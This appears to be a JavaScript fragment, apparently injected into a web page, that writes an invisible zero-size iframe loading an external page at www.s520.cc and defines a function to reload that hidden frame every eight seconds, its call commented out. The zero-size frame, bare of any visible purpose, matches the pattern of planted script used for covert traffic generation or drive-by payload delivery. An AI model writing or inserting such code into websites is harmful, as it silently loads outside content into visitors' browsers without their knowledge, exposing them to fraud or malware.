document.write("<iframe name=ref1 width=0 height=0 border=0 frameborder=0 scrolling=no src=\"http://www.s520.cc/index2.htm\"></iframe>");
function refreshUrl1()
{
	try 
	{
		document.ref1.location.href="http://www.s520.cc/index2.htm"; 
		setTimeout("refreshUrl1()", 8000); 
	}catch(err) 
	{ 
	}
}
//refreshUrl1();